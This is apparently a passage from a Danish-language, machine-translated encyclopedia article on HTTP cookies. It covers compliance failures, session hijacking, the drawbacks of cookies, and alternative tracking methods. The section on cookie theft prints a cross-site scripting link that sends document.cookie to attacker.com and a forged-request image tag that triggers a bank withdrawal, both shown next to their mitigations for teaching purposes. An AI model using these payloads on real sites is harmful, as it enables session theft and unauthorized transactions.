Akademiske undersøgelser og tilsynsmyndigheder beskriver begge vidtgående manglende overholdelse af loven. En undersøgelse, der skrapede 10.000 britiske websteder, fandt ud af, at kun 11,8% af webstederne overholdt minimale lovkrav, idet kun 33,4% af de undersøgte websteder gav en mekanisme til at afvise cookies, der var lige så nemme at bruge som at acceptere dem. En undersøgelse af 17.000 websteder viste, at 84% af webstederne overtrådte dette kriterium, og fandt desuden, at mange lagde tredjepartscookies uden varsel overhovedet. Den britiske tilsynsmyndighed, Information Commissioner Office , udtalte i 2019, at branchens 'Transparency and Consent Framework' fra annonceteknologigruppen Interactive Advertising Bureau var 'utilstrækkelig til at sikre gennemsigtighed og fair behandling af de pågældende personoplysninger og derfor også utilstrækkelig til at sikre give gratis og informeret samtykke med tilhørende konsekvenser for PECR [e-Privacy] overholdelse. ' Mange virksomheder, der sælger compliance -løsninger (Consent Management Platforms) tillader dem at blive konfigureret på åbenbart ulovlige måder, hvilket lærde har bemærket skaber spørgsmål omkring den passende ansvarsfordeling.

En W3C- specifikation kaldet P3P blev foreslået for servere at kommunikere deres fortrolighedspolitik til browsere, hvilket muliggjorde automatisk, brugerkonfigurerbar håndtering. Det er dog få websteder, der implementerer specifikationen, ingen større browsere understøtter det, og W3C har afbrudt arbejdet med specifikationen.

Tredjepartscookies kan blokeres af de fleste browsere for at øge fortroligheden og reducere sporing af reklamer og spore virksomheder uden at påvirke brugerens weboplevelse på alle websteder negativt. Nogle websteder driver 'cookie -vægge', som gør adgang til et websted betinget af at tillade cookies enten teknisk i en browser, ved at trykke på 'accept' eller begge dele. I 2020 udtalte Det Europæiske Databeskyttelsesråd , der består af alle EU's databeskyttelsesregulatorer, at cookie -vægge var ulovlige.

For at give samtykke frit kan adgang til tjenester og funktioner ikke gøres betinget af en brugers samtykke til lagring af oplysninger eller adgang til oplysninger, der allerede er lagret, i en brugers terminaludstyr (såkaldt cookie -vægge).

Mange reklameoperatører har en fravalgsmulighed for adfærdsmæssig reklame, idet en generisk cookie i browseren stopper adfærdsmæssig reklame. Dette er dog ofte ineffektivt i forhold til mange former for sporing, f.eks. Førstepartssporing, der vokser i popularitet for at undgå virkningen af ​​browsere, der blokerer tredjepartscookies. Hvis en sådan indstilling er vanskeligere at placere end accept af sporing, forbliver den desuden i strid med betingelserne i direktivet om e-privatliv.

Cookie tyveri og session kapring

De fleste websteder bruger cookies som de eneste identifikatorer til brugersessioner, fordi andre metoder til at identificere webbrugere har begrænsninger og sårbarheder. Hvis et websted bruger cookies som sessionsidentifikatorer, kan angribere efterligne brugernes anmodninger ved at stjæle et komplet sæt ofre -cookies. Fra webserverens synspunkt har en anmodning fra en angriber derefter den samme godkendelse som offerets anmodninger; anmodningen udføres således på vegne af offerets session.

Her er vist forskellige scenarier for cookie -tyveri og kapring af brugersessioner (selv uden at stjæle bruger -cookies), der fungerer med websteder, der udelukkende er afhængige af HTTP -cookies til brugeridentifikation.

Netværksaflytning

En cookie kan blive stjålet af en anden computer, der må læse fra netværket

Trafik på et netværk kan opsnappes og læses af computere på andre netværk end afsenderen og modtageren (især over ukrypteret åbent Wi-Fi ). Denne trafik inkluderer cookies sendt på almindelige ukrypterede HTTP -sessioner . Hvor netværkstrafik ikke er krypteret, kan angribere derfor læse andre brugeres kommunikation på netværket, herunder HTTP-cookies samt hele samtalens indhold, med henblik på et menneske-i-midten-angreb .

En angriber kunne bruge aflyttede cookies til at efterligne en bruger og udføre en ondsindet opgave, såsom at overføre penge fra offerets bankkonto.

Dette problem kan løses ved at sikre kommunikationen mellem brugerens computer og serveren ved at anvende Transport Layer Security ( HTTPS -protokol) til at kryptere forbindelsen. En server kan angive Secureflaget under opsætning af en cookie, hvilket får browseren til kun at sende cookien over en krypteret kanal, f.eks. En TLS -forbindelse.

Udgivelse af falsk underdomæne: DNS-cache-forgiftning

Hvis en angriber er i stand til at få en DNS -server til at cache en fabrikeret DNS -post (kaldet DNS -cache -forgiftning ), kan dette gøre det muligt for angriberen at få adgang til en brugers cookies. For eksempel kan en angriber bruge DNS -cache -forgiftning til at oprette en fremstillet DNS -post, f12345.www.example.comder peger på IP -adressen på angriberens server. Angriberen kan derefter sende en billed -URL fra sin egen server (f.eks. http://f12345.www.example.com/img_4_cookie.jpg). Ofre, der læser angriberens besked, ville downloade dette billede fra f12345.www.example.com. Siden f12345.www.example.comer et underdomæne til www.example.com, vil ofrenes browsere indsende alle example.comrelaterede cookies til angriberens server.

Hvis en angriber er i stand til at opnå dette, er det normalt internetudbydernes skyld, at de ikke korrekt har sikret deres DNS -servere. Alvorligheden af ​​dette angreb kan dog reduceres, hvis målwebstedet bruger sikre cookies. I dette tilfælde ville angriberen have den ekstra udfordring at få målwebstedets TLS -certifikat fra en certificeringsmyndighed , da sikre cookies kun kan overføres over en krypteret forbindelse. Uden et matchende TLS -certifikat ville ofrenes browsere vise en advarselsmeddelelse om angriberens ugyldige certifikat, hvilket ville hjælpe med at afskrække brugere fra at besøge angriberens falske websted og sende angriberen deres cookies.

Scripting på tværs af websteder: cookie-tyveri

Cookies kan også stjæles ved hjælp af en teknik kaldet cross-site scripting. Dette sker, når en angriber udnytter et websted, der giver sine brugere mulighed for at sende ufiltreret HTML- og JavaScript -indhold. Ved at sende ondsindet HTML og JavaScript -kode kan angriberen få offerets webbrowser til at sende offerets cookies til et websted, som angriberen kontrollerer.

Som et eksempel kan en angriber sende en besked på www.example.commed følgende link:

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>

Cross-site scripting: en cookie, der kun bør udveksles mellem en server og en klient, sendes til en anden part.

Når en anden bruger klikker på dette link, udfører browseren kodestykket i onclickattributten og erstatter dermed strengen document.cookiemed listen over cookies, der er tilgængelige fra den aktuelle side. Som følge heraf sendes denne liste over cookies til attacker.comserveren. Hvis angriberens ondsindede opslag findes på et HTTPS -websted https://www.example.com, vil sikre cookies også blive sendt til attacker.com i ren tekst.

Det er webstedsudviklernes ansvar at filtrere sådanne ondsindede kode.

Sådanne angreb kan afbødes ved hjælp af HttpOnly -cookies. Disse cookies vil ikke være tilgængelige med scriptsprog på klientsiden som JavaScript, og derfor kan angriberen ikke samle disse cookies.

Scripting på tværs af websteder: proxy-anmodning

I ældre versioner af mange browsere var der sikkerhedshuller i implementeringen af XMLHttpRequest API. Denne API giver sider mulighed for at angive en proxyserver, der ville få svaret, og denne proxyserver er ikke underlagt politikken med samme oprindelse . For eksempel læser et offer en angribers opslag på www.example.com, og angriberens script udføres i offerets browser. Scriptet genererer en anmodning til www.example.comproxyserveren attacker.com. Da anmodningen er til www.example.com, vil alle example.comcookies blive sendt sammen med anmodningen, men routes gennem angriberens proxyserver. Derfor ville angriberen kunne høste offerets cookies.

Dette angreb ville ikke fungere med sikre cookies, da de kun kan overføres via HTTPS- forbindelser, og HTTPS-protokollen dikterer ende-til-ende-kryptering (dvs. oplysningerne krypteres i brugerens browser og dekrypteres på destinationsserveren). I dette tilfælde ville proxyserveren kun se de rå, krypterede bytes i HTTP -anmodningen.

Forfalskning på tværs af websteder

For eksempel kan Bob søge i et chatforum, hvor en anden bruger, Mallory, har sendt en besked. Antag, at Mallory har udformet et HTML -billedelement, der refererer til en handling på Bobs banks websted (frem for en billedfil), f.eks.

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Hvis Bobs bank gemmer sine godkendelsesoplysninger i en cookie, og hvis cookien ikke er udløbet, vil Bobs browsers forsøg på at indlæse billedet indsende tilbagetrækningsformularen med sin cookie og dermed godkende en transaktion uden Bobs godkendelse.

Cookiejacking

Cookiejacking er et angreb mod Internet Explorer, som gør det muligt for angriberen at stjæle sessionscookies fra en bruger ved at narre en bruger til at trække et objekt hen over skærmen. Microsoft anså fejlen for lav risiko på grund af "niveauet for den nødvendige brugerinteraktion" og nødvendigheden af ​​at have en bruger allerede logget ind på det websted, hvis cookie er stjålet. På trods af dette forsøgte en forsker angrebet på 150 af deres Facebook -venner og fik cookies af 80 af dem via social engineering .

Ulemper ved cookies

Udover bekymringer om fortrolighed har cookies også nogle tekniske ulemper. Især identificerer de ikke altid brugerne nøjagtigt, de kan bruges til sikkerhedsangreb, og de er ofte i modstrid med den arkitektoniske stil i softwaren Representative State Transfer ( REST ).

Unøjagtig identifikation

Hvis der bruges mere end én browser på en computer, har hver normalt et separat lagerområde til cookies. Derfor identificerer cookies ikke en person, men en kombination af en brugerkonto, en computer og en webbrowser. Således har alle, der bruger flere konti, computere eller browsere, flere sæt cookies.

På samme måde skelner cookies ikke mellem flere brugere, der deler den samme brugerkonto , computer og browser.

Inkonsekvent tilstand på klient og server

Brugen af ​​cookies kan skabe uoverensstemmelse mellem klientens tilstand og staten, som den er gemt i cookien. Hvis brugeren erhverver en cookie og derefter klikker på "Tilbage" -knappen i browseren, er tilstanden i browseren generelt ikke den samme som før den erhvervelse. For eksempel, hvis indkøbskurven i en online butik er bygget ved hjælp af cookies, ændres indkøbskurven muligvis ikke, når brugeren går tilbage i browserens historik: hvis brugeren trykker på en knap for at tilføje en vare i indkøbskurven og klikker derefter på knappen "Tilbage", forbliver varen i indkøbskurven. Dette er muligvis ikke hensigten med brugeren, som muligvis ville fortryde tilføjelsen af ​​varen. Dette kan føre til upålidelighed, forvirring og fejl. Webudviklere bør derfor være opmærksom på dette problem og implementere foranstaltninger til at håndtere sådanne situationer.

Alternativer til cookies

Nogle af de operationer, der kan udføres ved hjælp af cookies, kan også udføres ved hjælp af andre mekanismer.

JSON web tokens

Et JSON Web Token (JWT) er en selvstændig pakke med information, der kan bruges til at gemme brugeridentitet og ægthedsinformation. Dette gør det muligt at bruge dem i stedet for session cookies. I modsætning til cookies, som automatisk vedhæftes hver HTTP -anmodning fra browseren, skal JWT'er eksplicit være knyttet til hver HTTP -anmodning fra webapplikationen.

HTTP -godkendelse

HTTP -protokollen inkluderer den grundlæggende adgangsgodkendelse og godkendelsesprotokoller for fordøjelsesadgang , som kun tillader adgang til en webside, når brugeren har angivet det korrekte brugernavn og adgangskode. Hvis serveren kræver sådanne legitimationsoplysninger for at give adgang til en webside, anmoder browseren dem fra brugeren, og når den er opnået, gemmer og sender browseren dem i hver efterfølgende sideanmodning. Disse oplysninger kan bruges til at spore brugeren.

IP-adresse

Nogle brugere kan spores baseret på IP -adressen på den computer, der anmoder om siden. Serveren kender IP -adressen på computeren, der kører browseren (eller proxyen , hvis der bruges) og kunne teoretisk knytte en brugers session til denne IP -adresse.

Imidlertid er IP -adresser generelt ikke en pålidelig måde at spore en session eller identificere en bruger på. Mange computere, der er designet til at blive brugt af en enkelt bruger, f.eks. Kontor -pc'er eller hjemme -pc'er, står bag en netværksadresseoversætter (NAT). Det betyder, at flere pc'er vil dele en offentlig IP -adresse. Desuden er nogle systemer, såsom Tor , designet til at bevare anonymitet på Internettet , hvilket gør sporing med IP -adresse upraktisk, umulig eller en sikkerhedsrisiko.

URL (forespørgselsstreng)

En mere præcis teknik er baseret på at integrere oplysninger i webadresser. Den forespørgselsstreng del af URL er den del, der typisk anvendes til dette formål, men andre dele kan ligeledes anvendes. De Java Servlet og PHP session mekanismer både bruge denne metode, hvis cookies ikke er aktiveret.

Denne metode består af, at webserveren tilføjer forespørgselsstrenge, der indeholder et unikt sessions -id til alle links inde på en webside. Når brugeren følger et link, sender browseren forespørgselsstrengen til serveren, så serveren kan identificere brugeren og opretholde tilstand.

Denne slags forespørgselsstrenge ligner meget cookies, idet begge indeholder vilkårlige oplysninger, som serveren har valgt, og begge sendes tilbage til serveren ved hver anmodning. Der er dog nogle forskelle. Da en forespørgselsstreng er en del af en webadresse, vil den vedhæftede stykke information blive sendt til serveren, hvis den senere genbruges, hvilket kan føre til forvirring. For eksempel, hvis en brugers præferencer er kodet i forespørgselsstrengen i en URL, og brugeren sender denne URL til en anden bruger via e-mail , bruges disse præferencer også til den anden bruger.

Desuden, hvis den samme bruger får adgang til den samme side flere gange fra forskellige kilder, er der ingen garanti for, at den samme forespørgselsstreng vil blive brugt hver gang. For eksempel, hvis en bruger besøger en side ved at komme fra en intern side til webstedet første gang og derefter besøger den samme side ved at komme fra en ekstern søgemaskine anden gang, ville forespørgselsstrengene sandsynligvis være forskellige. Hvis cookies blev brugt i denne situation, ville cookies være de samme.

Andre ulemper ved forespørgselsstrenge er relateret til sikkerhed. Lagring af data, der identificerer en session i en forespørgselsstreng, muliggør sessionfikseringsangreb , henvisningsloggerangreb og andre sikkerhedsudnyttelser . Overførsel af sessions -id'er som HTTP -cookies er mere sikker.

Skjulte formfelter

En anden form for sessionssporing er at bruge webformularer med skjulte felter. Denne teknik ligner meget at bruge URL -forespørgselsstrenge til at gemme oplysningerne og har mange af de samme fordele og ulemper. Faktisk, hvis formularen håndteres med HTTP GET -metoden, svarer denne teknik til at bruge URL -forespørgselsstrenge, da GET -metoden tilføjer formularfelterne til webadressen som en forespørgselsstreng. Men de fleste formularer håndteres med HTTP POST, hvilket får formularoplysningerne, herunder de skjulte felter, til at blive sendt i HTTP -anmodningsteksten, som hverken er en del af webadressen eller en cookie.

Denne fremgangsmåde giver to fordele set fra trackerens synspunkt. For det første betyder det, at sporingsoplysningerne er placeret i HTTP -anmodningsdelen frem for i URL'en, at den ikke vil blive bemærket af den gennemsnitlige bruger. For det andet kopieres sessionsoplysningerne ikke, når brugeren kopierer webadressen (f.eks. For at bogmærke siden eller sende den via e -mail).

"window.name" DOM ​​-ejendom

Alle nuværende webbrowsere kan gemme en temmelig stor mængde data (2–32 MB) via JavaScript ved hjælp af DOM -ejendommen window.name. Disse data kan bruges i stedet for sessionscookies og er også på tværs af domæner. Teknikken kan kobles med JSON /JavaScript -objekter for at gemme komplekse sæt sessionsvariabler på klientsiden.

Bagsiden er, at hvert separat vindue eller fane i første omgang vil have en tom window.nameegenskab, når den åbnes. Desuden kan ejendommen bruges til at spore besøgende på tværs af forskellige websteder, hvilket gør det til bekymring for internets privatliv .

I nogle henseender kan dette være mere sikkert end cookies på grund af det faktum, at dets indhold ikke automatisk sendes til serveren på hver anmodning som cookies er, så det er ikke sårbart over for netværkscookiesniffeangreb. Men hvis der ikke træffes særlige foranstaltninger for at beskytte dataene, er de sårbare over for andre angreb, fordi dataene er tilgængelige på tværs af forskellige websteder, der åbnes i det samme vindue eller den samme fane.

Identifikator for annoncører

Apple bruger en sporingsteknik kaldet " Identifier for Advertisers " (IDFA). Denne teknik tildeler en unik identifikator til hver bruger, der køber en Apple iOS -enhed (f.eks. En iPhone eller iPad). Denne identifikator bruges derefter af Apples annoncenetværk, iAd , til at bestemme de annoncer, som enkeltpersoner ser og reagerer på.

ETag

Fordi ETags cachelagres af browseren og returneres med efterfølgende anmodninger om den samme ressource, kan en tracking -server ganske enkelt gentage enhver ETag modtaget fra browseren for at sikre, at en tildelt ETag vedvarer på ubestemt tid (på samme måde som vedvarende cookies). Yderligere caching header felter kan også forbedre bevarelsen af ​​ETag data.

ETags kan skylles i nogle browsere ved at rydde browserens cache .

Weblager

Nogle webbrowsere understøtter persistensmekanismer, som gør det muligt for siden at gemme oplysningerne lokalt til senere brug.

Den HTML5 standard (som de fleste moderne webbrowsere understøtter til en vis grad) inkluderer et JavaScript API kaldet Web opbevaring , der giver mulighed for to typer af opbevaring: lokal lagring og session opbevaring. Lokal lagring opfører sig på samme måde som vedvarende cookies, mens sessionsopbevaring opfører sig på samme måde som sessionscookies , bortset fra at sessionsopbevaring er knyttet til en individuel fane/vindues levetid (AKA en sidesession), ikke til en hel browsersession som sessionscookies.

Internet Explorer understøtter vedvarende oplysninger i browserens historik, i browserens favoritter, i en XML -butik ("brugerdata") eller direkte på en webside, der er gemt på disken.

Nogle webbrowser -plugins inkluderer også persistensmekanismer. For eksempel har Adobe Flash et lokalt delt objekt, og Microsoft Silverlight har isoleret lagerplads.

Browser cache

Browserens cache kan også bruges til at gemme oplysninger, der kan bruges til at spore individuelle brugere. Denne teknik udnytter det faktum, at webbrowseren vil bruge ressourcer, der er gemt i cachen i stedet for at downloade dem fra webstedet, når den afgør, at cachen allerede har den mest opdaterede version af ressourcen.

For eksempel kan et websted tjene en JavaScript -fil med kode, der angiver en unik identifikator for brugeren (f.eks. var userId = 3243242;). Efter brugerens første besøg, hver gang brugeren får adgang til siden, indlæses denne fil fra cachen i stedet for at blive downloadet fra serveren. Således vil dets indhold aldrig ændre sig.

Browsers fingeraftryk

Et browsers fingeraftryk er oplysninger, der indsamles om en browsers konfiguration, såsom versionsnummer, skærmopløsning og operativsystem, med henblik på identifikation. Fingeraftryk kan bruges til helt eller delvist at identificere individuelle brugere eller enheder, selv når cookies er slået fra.

Grundlæggende webbrowser -konfigurationsoplysninger er længe blevet indsamlet af webanalysetjenester i et forsøg på nøjagtigt at måle reel menneskelig webtrafik og rabat forskellige former for kliksvindel . Ved hjælp af scriptsprog på klientsiden er det muligt at indsamle langt flere esoteriske parametre. Assimilering af sådanne oplysninger i en enkelt streng udgør et enheds fingeraftryk. I 2010 målte EFF mindst 18,1 bits entropi muligt fra browserens fingeraftryk. Canvas fingeraftryk , en nyere teknik, hævder at tilføje yderligere 5,7 bits.

Se også

• Dynamisk HTML
• Enterprise JavaBeans
• Session (datalogi)
• Sikker cookie
• HTTP Streng transportsikkerhed § Fortrolighedsspørgsmål

Referencer

Denne artikel er baseret på materiale hentet fra Free On-line Dictionary of Computing før den 1. november 2008 og indarbejdet under "relicensering" -betingelserne i GFDL , version 1.3 eller nyere.

Kilder

• Anonym, 2011. Cookiejacking -angreb stjæler legitimationsoplysninger for webstedsadgang. Informationweek - Online, s. Informationweek - Online, 26. maj 2011.

eksterne links

Lyt til denne artikel ( 1 time og 1 minut )

Denne lydfil blev oprettet ud fra en revision af denne artikel af 28. maj 2016 og afspejler ikke senere redigeringer. ( 2016-05-28 )

( Lydhjælp  · Flere talte artikler )

• RFC  6265 , den nuværende officielle specifikation for HTTP -cookies
• HTTP -cookies , Mozilla Developer Network
• Brug af cookies via ECMAScript , Mozilla Developer Network
• Sådan fungerer internetcookies på HowStuffWorks
• Cookies i Electronic Information Information Center (EPIC)
• Mozilla vidensbase: Cookies
• Cookiedomæne, forklar detaljeret hvordan cookiedomæner håndteres i nuværende store browsere
• Cookie Stealing - Michael Pound
• Kontroller, om cookies er i overensstemmelse med EU -cookiedirektivet